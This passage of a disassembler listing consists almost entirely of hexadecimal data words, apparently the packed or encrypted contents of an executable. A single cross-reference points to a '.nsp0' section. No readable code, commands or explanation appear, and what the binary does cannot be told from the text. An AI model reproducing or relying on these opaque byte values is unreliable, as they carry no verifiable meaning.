dd 1121E5E6h, 89C02ECAh, 95FB07DFh, 3A43FDB8h, 0FF91822Fh
dd 963B6C65h, 0E54A6411h, 0E29BEAA5h, 17EE5098h, 2649DB3Dh
dd 124ADAB6h, 8A317962h, 522BC6B0h, 65F20BA0h, 93A3F70Ch
dd 7E9652D7h, 0E72B2273h, 3598D8AFh, 6E7BD09Fh, 0F9F97862h
dd 20AB28C3h, 0AF27ECCAh, 35040E4Ch, 0BBD13AA6h, 7CCA0A8Fh
dd 5039535Fh, 0B68633F5h, 3C289602h, 0AEAD5934h, 0B1535AF0h
dd 6A6C5E33h, 329EDEACh, 0C3D5DE0Ah, 0A1AF05E9h, 6478613h
dd 5B3F1DA1h, 0B7DEB946h, 44C0976Ch, 44345ECAh, 0F9CF73DAh
dd 6714B351h, 300FD770h, 0E86ACA7Ah, 93D013D6h, 2FF6B37Eh
dd 7C77124Fh, 8D54F620h, 0D395AE8h, 5A61CA76h, 30788190h
dd 0DDE37010h, 0E57222C0h, 62230FA2h, 52F11815h, 0A3E1F948h
dd 7AD368F8h, 610792Eh, 0F24D4E8h, 46EC7FBEh, 9FBD917h
dd 34F876ABh, 0B2396C6h, 0EE75CB89h, 9D039326h, 0F2228101h
dd 0C8172034h, 61695591h, 0CB83BDFDh, 0A7A89CC1h, 232BA1A0h
dd 0D6BEC6DDh, 0E28C1609h, 0A7110DA7h, 2F25E144h, 0F63CD966h
dd 20B662F3h, 0B75C978Ah, 90376689h, 0DB3F4BF6h, 5B9F962Fh
dd 0C6C005Dh, 16866CBh, 52B7E911h, 716469D9h, 73D08015h
dd 3306D526h, 773B7E77h, 55E374C0h, 9EB55EEEh, 329D605Eh
dd 56073B83h, 2C765AB0h, 2605CE31h, 3BC5D79h, 8BABB5ABh
dd 4FC035ECh, 87827119h, 7BA95666h, 4B180218h, 0FCA9203Ch
dd 0CD9A67CAh, 0A633D3C0h, 8CFEFA1Ch, 0A6A2099Eh, 7AEF43F6h
dd 0D24DB79Bh, 978199C4h, 516C16h, 0A9CDC4E8h, 114054BBh
dd 5A25B78Fh, 1B2355C6h, 47CAFE1Dh, 3A3C9EA6h, 60A52B12h
dd 1B8B1938h, 1B8F53E0h, 0DEB64424h, 0EC3C7799h, 555AC7Fh
dd 0FB45A310h, 0BF8BDDCAh, 0C88947BBh, 6B909F07h, 1F5518B3h
dd 31C2BA4Bh, 4C287B7Dh, 6898B9Eh, 0C235829Bh, 0DD48CCEBh
dd 53DF4172h, 0CF7312EBh, 0D8389BF6h, 0A3304A1Ah, 4CED1CC4h
dd 23C1D26h, 0D9FBADD8h, 0A5A958F7h, 0F81A046Ch, 58883593h
dd 0E535F135h, 33164DFAh, 57179D38h, 247276B6h, 84D0DE3Eh
dd 6E5219F4h, 8ED0F020h, 3B14803Ch, 0B914E30Fh, 8CE17AC9h
dd 0B24E3264h, 0E88BF14Bh, 1FE15825h, 5D97D17Ch, 1472DDC5h
dd 0B672EFF6h, 76C17E16h, 8CF49E36h, 227AEAEDh, 7AF9E994h
dd 0C7B486AFh, 443E3FC8h, 519EAB04h, 15C5692Eh, 0A1BEA1FCh
dd 3C8900FAh, 0BA1CCE0Ah, 61BDED36h, 63225B35h, 5B3821AEh
dd 3C88AD29h, 893BD376h, 0B61C529Ch, 2FF2E4FDh, 0CED3BFE2h
dd 48C6F9B9h, 0C13C96F5h, 0FD5BF176h, 59E4419Fh, 0A9995544h
dd 2DD5A1F6h, 0B0661701h, 871561C4h, 3A016894h, 0E6808554h
dd 0D666067Fh, 300A9906h, 0E4DA8D5h, 0A9523285h, 78E110D1h
dd 0E1ACC4Fh, 27CA1DC4h, 98B9D68Fh, 0F63C99AFh, 864CAE9h
dd 4053081Fh, 49629696h, 0C9DF473Fh, 47FF5908h, 0BD0DCF09h
dd 0F1EB926Fh, 3299E145h, 0D67DC2C6h, 2CAAA451h, 21871A75h
dd 0ECB398E9h, 5F28C050h, 5F5DDC2Eh, 0FEF328EAh, 0B5E4A663h
dd 6DBD3167h, 7B66DBFCh, 16055AD1h, 0DCAD819Bh, 0A611056Eh
dd 527A8433h, 3DB3C4F8h, 0C94B1BE4h, 845F45B8h, 7C814CE9h
dd 1D86527Ch, 0BB09E27Ah, 140C5AD3h, 8BDA468Dh, 0B4ADAF40h
dd 0BE811741h, 3FDF9D75h, 6099A5EFh, 80C5C1DEh, 263E7002h
dd 68226078h, 8CC696F0h, 0BB020B9Dh, 0BE9A55F8h, 711D77DCh
dd 84D9FFFh, 0A3005807h, 25F0B513h, 7548FD16h, 3A04952Ch
dd 3E113DBDh, 4CE93B4Bh, 52C76430h, 0BB0D26B0h, 343D95BDh
dd 0B6131E6Ah, 0A804C1D8h, 637761B9h, 4564D7C6h, 5FC1A219h
dd 0E6407BEFh, 21473D19h, 9AE75FEBh, 84B727EEh, 7233C46Eh
dd 288F8A23h, 7FEB08Bh, 1D39B46Ah, 0A05B3DEDh, 476656Eh
dd 0F94BC236h, 0E3837BECh, 8FA2FA26h, 86137C8Bh, 17F232CEh
dd 0E6855708h, 925DA73Fh, 0ECBE243Ah, 0DD93EF9Dh, 0B64B4195h
dd 9384186Dh, 0D327EA29h, 7DAFEC30h, 75B97488h, 86D720AAh
dd 0DFDEDB32h, 606D8C91h, 2F11F869h, 4795741Ah, 177ADBBDh
dd 877FD8B8h, 39A52966h, 71430B6Fh, 423D4731h, 0BCEA0F17h
dd 0D18EB6E9h, 0EE038083h, 86102C59h, 45D8FFFBh, 0A42FCFE5h
dd 0BB3C90EEh, 4A9EDE2Bh, 0B1435C3Ch, 49573BA1h, 0B9752DA3h
dd 0EB02C714h, 0F9390DA0h
dd 185FFBB3h, 0F2581B92h, 0A53C9069h, 659AE306h, 0FAAA7886h
dd 0E42E77Dh, 1A44F6A5h, 7047DA58h, 4DA5A419h, 0A278E8EBh
dd 0E7C1B452h, 0F9DDAA1Eh, 0C7203C0Dh, 1B53CC9Eh, 0C885A360h
dd 2B0BBA1Bh, 0E9FB6512h, 0D09F364Bh, 76F67DC3h, 7415EFCCh
dd 0DB467A88h, 84E85668h, 2FAE187h, 0F38176CEh, 0E5A4971h
dd 4504290Ch, 8354C1CCh, 5FC72FBCh, 4C4BD148h, 6C9C83BEh
dd 51EC32D9h, 54E66F36h, 4C2740D7h, 0BD03E05Eh, 960CF34Ah
dd 3AD80371h, 3B8C1DE6h, 0D787E6DBh, 48EE0C74h, 947F4E59h
dd 1C1BDF52h, 95F63325h, 5D3C2D53h, 0E2BB6583h, 0BE476B0Fh
dd 757061EEh, 341943A7h, 0F2CABA0Dh, 0BDC52015h, 3A3C7F03h
dd 8F81C966h, 5EAAA441h, 0C548EA86h, 402123BDh, 0B6D67DA1h
dd 0C26F1D2Eh, 0E7BB76DAh, 18177453h, 0AAB66ECFh, 98878EB2h
dd 858B93E3h, 0B4598CB9h, 356D5DCEh, 465C4A79h, 4B88E1A8h
dd 2F5811CBh, 0DF8B786Ah, 0ADC6B37Eh, 7F81001Ch, 45DFF188h
dd 3F10BDF5h, 9B3B2084h, 0E2899B4Bh, 0DE44FE5Bh, 6B4D9ABAh
dd 76FBFACBh, 0CC822925h, 0A1945C27h, 6850CC36h, 2695B191h
dd 0E05C01E7h, 0F2036326h, 5C96614Dh, 6BE1D15Eh, 3C211161h
dd 0A238E5E2h, 799D7C2Ch, 0C018E1BBh, 0D32F77D6h, 605610E2h
dd 16C7AB77h, 26EC2019h, 139A9C9Eh, 0F9A317ADh, 6B4804D6h
dd 0A2746F7Fh, 9AC87AE0h, 0C1B6115Fh, 0F69B74E9h, 778C0D6Ch
dd 30E9BA30h, 1144A85h, 0C1B9694Ah, 301C8CFAh, 1D174246h
dd 0E3156260h, 44082CBCh, 662289B7h, 67292FA1h, 77DA5F5Ch
dd 60C892CFh, 70C764AFh, 0ADC3BFF2h, 0C0D44FA8h, 2545B716h
dd 428A0C65h, 66258B86h, 93F28892h, 9361D73Ch, 788A4080h
dd 4F22BBBCh, 0FDA3759Bh, 0FE85EF29h, 13FE9B68h, 2F86275Fh
dd 0C6769CA8h, 80031AE8h, 0D0D85936h, 0AC32E0C5h, 0AF4C7CA7h
dd 0D60C0240h, 0EFEB962Fh, 0DD0B8D39h, 0AC797416h, 3451113Bh
dd 0EFCD291Eh, 945F2053h, 2EA81h, 897D566Eh, 76040A9h
dd 7BDE72E7h, 881052EEh, 5F17522Bh, 2C59DB41h, 522674E6h
dd 3B57B217h, 0CA3C8AADh, 0C0227032h, 7729D005h, 0A058AD28h
dd 5EFBDB4Ah, 31C789BAh, 0E95D59E6h, 0FCCD798Bh, 0DA700B39h
dd 94CE344h, 5D146D75h, 0EA9CC19Dh, 766C8EA3h, 31485EF6h
dd 0E52B8AB5h, 0B7F3F154h, 0F8B6DA0h, 9824BF78h, 5040180Ch
dd 814A316Fh, 38CFAD13h, 64B7869Eh, 0CBC2BDECh, 0E60CACC4h
dd 261C5F5h, 14C92F75h, 0BBE64F9Dh, 1AAF041Eh, 0E2A45E50h
dd 633A1749h, 597A2DCDh, 0A4F87856h, 99536B9Ch, 38E50D44h
dd 316E33F3h, 25300C7Ch, 0F75964DFh, 0B3EB4B96h, 0EDD36F5Eh
dd 0B6B796AFh, 4A4AA55Bh, 0B2CF4CCBh, 9A4403C5h, 0CF2298E0h
dd 8A74F282h, 0D774F3A6h, 99299C1Bh, 36FA6796h, 0B68FF3A7h
dd 5A9A26FFh, 3EE59F2Bh, 888F5B61h, 986C1822h, 0D45EDCD1h
dd 0AF0EE541h, 78D83DDCh, 0E58B4046h, 8563949Bh, 0EC0F6C06h
dd 8C09C578h, 23786E18h, 0F30CCB50h, 0A15B10FBh, 8869AC7Fh
dd 0D109BEB1h, 78F68BB4h, 0E80933C6h, 5B00B23Eh, 477F8CA9h
dd 68110E04h, 9A80A117h, 0ABAC5986h, 9F991345h, 877386CBh
dd 9CA57E07h, 121F8E89h, 57D110AAh, 30158718h, 57AF5E82h
dd 8D05F94Ah, 1FEC3A8h, 393D6941h, 40D708E6h, 818875A2h
dd 2A899A39h, 5EA22A09h, 8374CDE2h, 6494DE69h, 92771AEBh
dd 73EDA7A1h, 2ACE418Fh, 862CA3BEh, 0B5EDCEEEh, 1E79A698h
dd 39AFD536h, 7C9B4DEBh, 0A621A81Ch, 429F16E8h, 5590A4C9h
dd 821474DFh, 271D0ABBh, 53A3F391h, 22DB81D7h, 88DFF88Ch
dd 1295CB84h, 64C89EDFh, 72EA378Fh, 0A95A114Dh, 38E01C1h
dd 6B3A3AD1h, 0BA2A77DBh, 0A5D15916h, 3D785697h, 164FABC9h
dd 0FE5D3D2Ah, 0F5C73986h, 0C4A10E27h, 0CF07874Bh, 11F0EAA7h
dd 5E8F51CFh, 0BFF09089h, 4F01FA71h, 0AA8AEF9Fh, 0BE465778h
dd 6B7AFB90h, 0FE2023BDh, 0BD6120DCh, 91C47261h, 5CBEF3E7h
dd 7CE7ABC9h, 0CD2E5269h, 914B5169h, 0B53C8781h, 7BBA7A67h
dd 6165FF87h, 4CCEB4C3h, 73AD4300h, 0BB73FB28h, 9B72AF30h
dd 7D3C99A7h, 547944A5h, 7441F614h, 8AD480Fh, 0D2BD420Ch
dd 0AF33D17Ch, 73D997B1h, 90F0BD40h, 0E4EBD99Fh, 7946AD0Dh
dd 486C60DAh, 0C8597398h, 0AF1B1A2Dh, 7D9449C5h, 1B4F576h
dd 0D8C22FD2h, 6F3B7738h, 463380F4h, 9B734FD3h, 0B26C20F5h
dd 34FCDBCCh, 0F8C59393h, 4ED47BCFh, 556E9F04h, 2F61FFB3h
dd 237C3F57h, 0CDED5B83h, 56B81601h, 9731FDA9h, 85864355h
dd 0E5E9A4C9h, 6F092512h, 213E833Ch, 0EC519C68h, 0F0A749E3h
dd 921F384Dh, 0D1118126h, 0D6612037h, 0DE784BFDh, 0C2FC5C06h
dd 0CEBFB2CAh, 0BF6CDA38h, 2A22D7B6h, 0C1C36912h, 0EAB69065h
dd 0F7BDF32Dh, 39BC4B08h, 5EAFAF32h, 0E8BCF99Ah, 1514CB00h
dd 0AC81B112h, 0DE4F18E4h, 518CE45h, 0C5946Ah, 525957F9h
dd 199041B5h, 8FC98422h, 23E9955Bh, 43EC06A4h, 74EDAED4h
dd 3FBA6CDFh, 3257E3CBh, 4EC4089Ah, 6014DA16h, 0C6FC3F49h
dd 65990A08h, 0D2EA3C0h, 0CDD19Dh, 6FC99485h, 47C8EEFAh
dd 45B01BF5h, 9A44657h, 1C92DFCBh, 55B6C821h, 98FE935h
dd 975CC270h, 6D1B3D2h, 617BA68h, 24B1A64Fh, 4E752470h
dd 2BF491D5h, 0FDDAF50Ah, 0BB52ED9Bh, 6C2E98CEh, 92038740h
dd 6D7C9A0Bh, 0E464E7C3h, 0DDCD31A1h, 8DC27C78h, 0E44F141h
dd 0E7688940h, 720CA59Dh, 0E3BD9BDAh, 48C34DF9h, 0C59B488Ah
dd 18DB5E66h, 0E9E6572Ah, 7095AE91h, 1341B140h, 8814C6D8h
dd 167D640Ch, 0A5879EB4h, 0E2D5BA6Ch, 0FED30140h, 31185688h
dd 9EB1B27Ch, 0CD1278A2h, 0C006D4h, 0DDA91B98h, 3CDBAD89h
dd 0ADC70DDDh, 0CA826107h, 0C1101718h, 477041F8h, 0BD374E6Bh
dd 5BDB6E99h, 3B7DD8FBh, 48A06D6Fh, 9C4D47F5h, 21D267B9h
dd 0B8104ADBh, 8D67BA10h, 0A991E294h, 27C2A38Fh, 2D27300Ah
dd 0F98A5BCEh, 858C20DEh, 0FE306A41h, 0BA8CE3FDh, 896CDECBh
dd 0F6C359A5h, 0FC3E8F8h, 5CFF9072h, 0DFA429A0h, 0B8585615h
dd 0FA0033DDh, 9256450Ch, 9D4C43A5h, 79D3B424h, 0AD89AD49h
dd 363612D9h, 3C4F1E85h, 0D53B5E8Fh, 0D45D301Fh, 6E2ECA58h
dd 7EF4D184h, 0E4348AE6h, 0AACDA1A6h, 7ED6B285h, 72BCD45h
dd 0FC79FEEEh, 40BA5Ch, 930BAA7Ch, 5D3537A9h, 0BD9452CEh
dd 0B0D44D49h, 38C753CDh, 14E30860h, 0B9E4406Dh, 0FA4D535Ch
dd 1FAE69E1h, 1BAD5E1h, 1F7D6B7Ah, 7D6D3322h, 58923C92h
dd 0BFB50775h, 203A9BC7h, 11B1B5C2h, 7A0FDBEEh, 0D02A0457h
dd 0ADA94284h, 48AD15CBh, 0E9FD102Ah, 0F74ACA80h, 6A53655Ah
dd 0B7CCA2BFh, 0E3E08E01h, 7F53F8D9h, 3E1D5D6Ch, 11C0973Bh
dd 9E0CA383h, 0DAF31587h, 0D28FA05Fh, 7F741858h, 890E16B9h
dd 3F3EB953h, 86F7BB5Ch, 5D2F7F1Dh, 20DD59A5h, 5A38AD54h
dd 869A2F28h, 299EB3A5h, 0E74F40F3h, 0AD791992h, 0D4B95FAFh
dd 0ACCF12EAh, 0F7B20EA2h, 0CC927C53h, 0EC7D491Dh, 0E636FFAAh
dd 6C04C77Fh, 798CE47Dh, 91306ABEh, 99844BD4h, 377A1B87h
dd 0D1DBADB7h, 8E9CEFD3h, 0B9C9911Ch, 40CF400Dh, 70A53312h
dd 284AB416h, 0C74B7BF4h, 0F57B8ED6h, 0D196AD19h, 0E952864h
dd 298134EAh, 0B600F139h, 0D24C4C1Dh, 8B652A1h, 0E815495Dh
dd 760B1987h, 812FC9DCh, 2256828Fh, 63F33F51h, 226DB36Dh
dd 0DF1AA9A9h, 8B513BFFh
dd 93546E44h, 0C38EB7F7h, 0EF38CECEh, 0CACE08E4h, 0A003E236h
dd 0C3D8515Ch, 0AA463E50h, 0A28F15C4h, 0C1D77FFh, 4A286F13h
dd 0E2B08240h, 716C7D6Dh, 0C4B43C80h, 2CC0EFF0h, 0FDAF3F2Bh
dd 0F6469A6Eh, 0A2F6627Eh, 0D2F5C8F4h, 0BB87BA50h, 90F877B8h
dd 74F2E4Ah, 6A997194h, 91154630h, 84EC7619h, 0B405A2FEh
dd 6638430Ch, 0A367ADAFh, 0E4FA497Ah, 8AC2840Fh, 0E8B779DFh
dd 0C5F15258h, 7E60ADE5h, 3CDF4C6Ah, 0D43B0CB2h, 4A39490Dh
dd 320E077Ah, 1B4FAFD1h, 3E0D74C3h, 0ECE90793h, 0BEDDD764h
dd 6AF70640h, 0CDAB585Dh, 3229AA22h, 0F38BEF4Fh, 0A6AA32CCh
dd 26D8FEBh, 5D6B416Ch, 371AEAEFh, 3AD2C59Dh, 3B64E93Dh
dd 9AD46A55h, 5A636356h, 0A2003B63h, 6AF8E064h, 6473DC8Ch
dd 115D5A9Fh, 4853F00h, 6666CEA6h, 1D337E65h, 0F8631BFEh
dd 6E888327h, 0A5095BC3h, 0A02C5EC9h, 0A8FDA034h, 0C02E095Dh
dd 0B93A8B7Eh, 0DBCFF48Fh, 0C8DBF0B2h, 0F4548CBBh, 0AE945DCAh
dd 1D342FDBh, 913BFD5Ch, 2355A6E4h, 0C793C7BFh, 0A5FC865h
dd 7C354A7Dh, 0FB29DEA1h, 43A34FE3h, 6E13A780h, 60320901h
dd 0E51A292Ch, 9D5EB561h, 3AEA81F9h, 0D1FB6A61h, 37600221h
dd 7F976617h, 605501ADh, 0D9508C7Dh, 5BE310E6h, 7AEBC12Dh
dd 0F3707E5Bh, 0B145B031h, 0EDCF5645h, 3FC63DEFh, 1E02435Ch
dd 0B273E051h, 0FEF12B4Fh, 43C6F02Eh, 5B4F6A4Dh, 9D628FB2h
dd 0C9F868FAh, 80169A2Fh, 0D474FE7Dh, 42BCFAFEh, 88249B96h
dd 5676BB85h, 3BCB2FAh, 2EB6CBD8h, 0ED70F820h, 466D136Bh
dd 33838633h, 347F2819h, 0C0D50554h, 0E419B88Ch, 0AE145544h
dd 4EA05E40h, 5F5DE3F6h, 0A275AF93h, 704DDC08h, 692F270Ah
dd 3CDEE651h, 0EFB7F54Bh, 0BA688E5Fh, 0B8DED7B6h, 13BA8073h
dd 94E45A6Ah, 43A6625Eh, 0BB9462DEh, 937E1749h, 0F6565C1Eh
dd 0F0F910FFh, 0F7ADFB8h, 0DE1EC9ECh, 44011E59h, 75091B64h
dd 6A1AFFFAh, 47A1F05Dh, 82CE945h, 5B6CEE28h, 61DF7BD2h
dd 67E5039Fh, 0D7B1F0C3h, 345F9353h, 0C5D0C88Fh, 1AD3C2A0h
dd 4CF7F740h, 0D29CB9D7h, 593A0292h, 0DA5D8876h, 0E50C19BCh
dd 79BF7BBEh, 0C01975FEh, 79EF859Dh, 60F7EC53h, 0EE38CDF0h
dd 1957411Ah, 0D95497B3h, 0AA42080Ah, 96F265A6h, 0A90B1EFDh
dd 5BC03DF9h, 756231C4h, 0A13442FEh, 77742047h, 708F7097h
dd 0DED39E78h, 587251DEh, 715AE74Fh, 0E9370F7Ch, 50286CA9h
dd 0C8B90391h, 95CF2A25h, 4945CEE2h, 3103D0A7h, 4E09FEC8h
dd 5F66C2E3h, 4A87DBC0h, 0C62F3B93h, 0C31C8C6Dh, 0D5690C6Dh
dd 754DD7F8h, 5E7B1BC5h, 0A5B89EF1h, 1DA9B1A6h, 0DFE62850h
dd 6221DADFh, 733ED03h, 0A5608FE5h, 54F725AAh, 70CC3AD6h
dd 38523B7Dh, 4B37EF9Ah, 9C1E7232h, 8764EF40h, 73BD1790h
dd 88A42CD2h, 12FC4E58h, 0EB50AF3h, 989BF96Ah, 0FB8C4C19h
dd 91085CC7h, 6BE5AB65h, 0D0441D5Dh, 4EC88C24h, 1ACDAA21h
dd 0E39CAE64h, 0E1BD71A0h, 5A5CB255h, 84B94Dh, 0F926643Fh
dd 0BE60AFCDh, 0A9467E71h, 33DE55C6h, 0FE588449h, 0E99BA294h
dd 38C0F31Eh, 843E4FD7h, 212D778Ch, 0A3699198h, 518CCA2Eh
dd 0BAAEF95Fh, 1D397979h, 42B56F6Eh, 0F45293CBh, 0D99AD1BEh
dd 0E1E81068h, 7D40A09h, 40C42582h, 0B1F88374h, 0D897BFB9h
dd 88F542C2h, 12B7D310h, 178D21ABh, 118ED713h, 0F46225DBh
dd 6AF88CF6h, 2D818796h, 392FCADBh, 492316ACh, 0E6AB7DC9h
dd 19B2E55Bh, 0DBE50782h, 0C1099878h, 0F73FF412h, 0E22D8AC6h
dd 0C0EC6931h, 0C410B950h, 367F161Dh, 9E08B689h, 515FC8E3h
dd 996F1DBDh, 0AC8912EFh, 7DC1903Ah, 5C30ACB2h, 0D1D1D39Eh
dd 0F7735AF7h, 24AB077Bh, 6A39CF12h, 895FBA8Ah, 15DB50DAh
dd 2A01AEC6h, 45E9A768h, 9CBE63C6h, 0F010B24Bh, 0CBD6CDB9h
dd 257EFCE9h, 454044F0h, 3ABE5055h, 537C511Ah, 2C2BC3DDh
dd 16DE57E4h, 0C3C8FD47h, 0FEDC6272h, 0A3146D6Fh, 0ECC42FF6h
dd 77907EA0h, 50AA60B6h, 7E8DC6Eh, 4F859679h, 8DCC6A94h
dd 0BF4BA1DEh, 56F046C5h, 0AEF7EB13h, 0CE85D02Ch, 9FB17DBh
dd 0C8793B03h, 0D27E2238h, 1C71F8D0h, 31F5CBAAh, 3B862779h
dd 8CEB017Fh, 0D430740Fh, 494CCA0Ch, 0FB7B4229h, 59AFCA5Eh
dd 57E3C6B7h, 0BD26E660h, 0CE30F85Ah, 5816484Dh, 6A2DECD9h
dd 7FAAB323h, 0A762BB1Dh, 48F2ABD7h, 0D4A2DC44h, 0E663515Ch
dd 0EEFFC5CFh, 1DD6EB07h, 97695FFCh, 334B82CBh, 84B882E9h
dd 0B927B817h, 0FC0A72DCh, 4A54E2BBh, 9443F6A3h, 0F2B07C3Eh
dd 0B49A4A49h, 0B0F3CEE2h, 0DDA07A0Dh, 76E2DFDFh, 1538B35h
dd 6D9F37DEh, 0C4EE5F2Ch, 0E5AC9B65h, 3950B47h, 56C178FCh
dd 0E7630EEBh, 4CA3EC75h, 0A7C658B0h, 0A554AE07h, 46DA0EA6h
dd 4217E669h, 5AAEC8D5h, 3934875Ah, 9A1AE54Ch, 6D8480Ah
dd 769B88C5h, 0DEACE11Dh, 4E0DD0C0h, 2AE998E4h, 6D69B9AAh
dd 2AE26AEBh, 0AB49B9DDh, 96AD990Ch, 125CCC09h, 26418329h
dd 0DA2707h, 57DB1677h, 50AF71E4h, 0E27850B3h, 0BE481F3Bh
dd 0AE870CB7h, 23C12E7h, 0AE08799Eh, 0EEBC796Ch, 54827D1Ch
dd 40670028h, 0AE542BE5h, 0B90BE965h, 0C4015A5Bh, 6500BA4Eh
dd 5AADA90Bh, 620C266Ch, 0C92E6835h, 0E3EBAC1Dh, 9A674B96h
dd 200E729Bh, 3F106D00h, 0BCE4CEECh, 0AC3CD10Ah, 85E9C7B7h
dd 7E2FF5A1h, 0B83B9F82h, 14F0EAFBh, 0C982B73Eh, 0CAB36409h
dd 4752AB1Bh, 0A8E0724h, 0B056887Eh, 0F020C90Fh, 8C15A58Fh
dd 0EED3BED4h, 453E13E8h, 0DCE9C87h, 6FC6D011h, 2EDF39DDh
dd 121F6D29h, 0D80A64D6h, 0C733EAB7h, 66D409DBh, 0D9A3D821h
dd 78BEDBFCh, 1BF1CC28h, 0B92E20F1h, 0BAED9ABAh, 2950E62Dh
dd 7C7CDF2Fh, 5F48BC40h, 0EB7DAA8Ch, 0CAA66179h, 0F1DC829h
dd 1A63D94Dh, 0E57AD165h, 0F609ABABh, 9B5FAE62h, 5E3104D4h
dd 0BB05727Dh, 64BF1F0Bh, 9B69655Dh, 0F98EACD7h, 0F3CE399Eh
dd 5CDC8D67h, 72A08BEh, 6EE5DE4Ah, 863685C0h, 0AADB433Bh
dd 5F1CF125h, 20EC8F47h, 0A7CD825Dh, 620A5A51h, 0B4CA743Ch
dd 0B6CC7D8Dh, 9A052F56h, 267186F8h, 0AF83780Bh, 3F40818Fh
dd 0C2F14433h, 6139BEABh, 786C4C4Eh, 0EF80BD53h, 90F116A8h
dd 0E5227451h, 1669C2E4h, 0E6853E37h, 0C595A6C5h, 0E3CA31BAh
dd 9D86B97h, 2F10C71Eh, 16337B14h, 0F79386F8h, 0B7E29C4h
dd 79E4F062h, 47A30D3Ah, 2608AFE6h, 177ED143h, 0C4A0F72Eh
dd 5E417BB4h
db 0FDh, 0CCh, 17h
byte_524F4B db 7Eh ; DATA XREF: .nsp0:0042BB40o
dd 83BEE8D9h, 0BA877D7Ah, 0FE938A36h, 440A5ADFh, 5FD1D2DAh
dd 24D1682Dh, 0C93587F7h, 77852708h, 0B372AF2Fh, 0D1E1260h
dd 0D194D938h, 70EB7A7Ah, 0F3C1D353h, 0F624A6BBh, 0AB48CBBDh
dd 33ED8EE7h, 2E4797E9h, 0B20D2C42h, 3638A581h, 0E3D53DBFh
dd 8E0811D3h, 8AF5D20Fh, 0AC97C6DBh, 0AAC80F5Bh, 0CB39CD0h
dd 0B301198Ah, 0FAE81827h, 0F9CD47A8h, 0D01B8B36h, 843705C2h
dd 771C26A7h, 0A894F4B6h, 0C97803CCh, 0CA01567Ah, 5D70EFADh
dd 0AE8613C4h, 0EEC09ED5h, 0F81BB5BAh, 9F6856D4h, 6F4AFAE9h
dd 11BFBC62h, 6EFB3736h, 2C67A72h, 6B0FDA4Ah, 548568B4h
dd 0B9414446h, 699D1D34h, 3206A518h, 0A0DBFD89h, 3546C2E2h
dd 26285728h, 324720F3h, 67D61BCBh, 9939EE86h, 39FC0C0Dh
dd 0EB771D34h, 0E6A35176h, 1C4D951Dh, 0A06109CAh, 0AD4C2341h
dd 992523DAh, 570F60E1h, 9DA8272Fh, 41BFC3B3h, 27637791h
dd 6AFBC49Ah, 42F7282Eh, 15078DC1h, 0E6E2EFA1h, 7B41646Bh
dd 367F8D09h, 0E266F8A3h, 6A0C232Ah, 83C361D2h, 7EC2A073h
dd 4EBF3054h, 7371FF03h, 64FEC8FFh, 0BEC20Ch, 0B3BE0439h
dd 99215309h, 0E914F49Dh, 19345E1Bh, 396C1224h, 59E831Ch
dd 9B1BDBBAh, 0E2F1E886h, 0D72D7D53h, 0D92442A3h, 73B9D2Eh
dd 0E7C8AF16h, 4B0F42F8h, 0F53CFE1Dh, 23C015BFh, 5BC8500Ch
dd 28560735h, 33D31EA9h, 0A194EE90h, 3C814440h, 0B8F50486h
dd 0B3FFEB6Bh, 0A23B1CBAh, 3F5F968h, 72BF95F0h, 2BDFFD07h
dd 11484158h, 0DD807D95h, 881AA93Dh, 79F228F9h, 8FBC2468h
dd 250F36CAh, 47F8DEF5h, 9117B0Eh, 0E3D9DAC2h, 5D666293h
dd 0B886532Ch, 68FA96B9h, 4C9E597Dh, 0C898F7B3h, 457F3FC9h
dd 5F8E0D57h, 956702CBh, 3C95C1B6h, 8D4EE736h, 9A345C4Eh
dd 0CECA4E43h, 144DA02Eh, 429200C0h, 1D0958F6h, 0D390B7C6h
dd 95D475DEh, 42601789h, 0A25B7511h, 9F48489Bh, 698D0F7h
dd 0C04729D9h, 2838EFC2h, 0FF7857FCh, 7C806E74h, 0E5A557F9h
dd 94CDAAFCh, 69971350h, 687BBF7Dh, 0FC9F6F29h, 4421833Fh
dd 58214A3Eh, 751C27C4h, 44F2F671h, 6FA4E182h, 0D67A2618h
dd 547A2BC8h, 50EC007h, 0F5F7069Dh, 578A7AEh, 37695590h
dd 0EB7C5ECCh, 0EAE9F7E4h, 2C5E3ADDh, 1CD28B22h, 208E3E84h
dd 970150FEh, 9233EFE5h, 685B5104h, 4B380D14h, 3606D21Eh
dd 0F8AE08D6h, 0DB98AB3h, 33B813E0h, 0CD46A64Fh, 167237BBh
dd 8E6E7F5Dh, 7DE84EE0h, 48C693A5h, 0BFA882F3h, 1A3512AAh
dd 96C1DE1Ch, 0F10C34FAh, 0D5D73AC2h, 0A6CD67C7h, 0B2DCB691h
dd 0D6D0C1D7h, 0C44FF0Eh, 6F63D0A9h, 0A241AAA1h, 0B44D7F40h
dd 0C32CD1EAh, 0E4F8FC5Ch, 0CB599E5Dh, 43F56A12h, 192E670Fh
dd 606D64E0h, 919A3064h, 1D0C845Fh, 0A6BEFFA5h, 1F7AEE67h
dd 3FC568E6h, 6120AE18h, 0ADB1F9AEh, 0D160D620h, 63D8094Ch
dd 0C56AFBC5h, 0CD02E1EBh, 69351677h, 0E6CE20A0h, 1DBA6D37h
dd 0FBC616F6h, 252AFDA2h, 0EB160FF2h, 8DE3C4Dh, 0AFA71FEEh
dd 0DBF08B3Ch, 0D183DD64h, 0B06F6CBEh, 0CF4B78ECh, 2F8724C8h
dd 2953888h, 0DA142EE9h, 6CCC1EF1h, 5693FB87h, 3A242E55h
dd 501A06DDh, 0FC6A5A13h, 0A7DBE250h, 0B008B10Fh, 0B4976294h
dd 12203AB1h, 0E4DA5ED0h, 0DE14DDD9h, 8DC14B5Ah, 5594E997h
dd 73CDDFBh, 60A6CF77h, 0DCEF270Dh, 3C5788C4h, 0F5C0B8D6h
dd 0C3F22CF4h, 59D5719Bh, 0BF757C62h, 1864DF88h, 0B9D46DEAh
dd 46CBF131h, 5246212Ah, 43ADDE08h, 518919D8h, 0C52954D9h
dd 3BAA6931h, 0E56998EDh, 7C337C3Bh, 30AD6118h, 115A1D49h
dd 0C744C92Ah, 0CAD57D5Ah, 0ABDB699Bh, 0A6E9B1F7h, 33F7295h
dd 390A7FE6h, 577B17ACh, 0ED6F1DD2h, 0BDA47010h, 2FD028F3h
dd 0B88C8F49h, 9A62F8B5h, 0B851C78h, 0A5ABC632h, 0E6ED0D9Fh
dd 5BAAE6D8h, 67A2AF42h, 4C444CA1h, 0E806EA20h, 704498AFh
dd 0A7CECB37h, 64208F21h, 46F67A4Ch, 0AC1CD57Bh, 67C6206Dh
dd 824B4D4Bh, 0B395D2F5h, 0B861047Ch, 834F3417h, 93F64293h
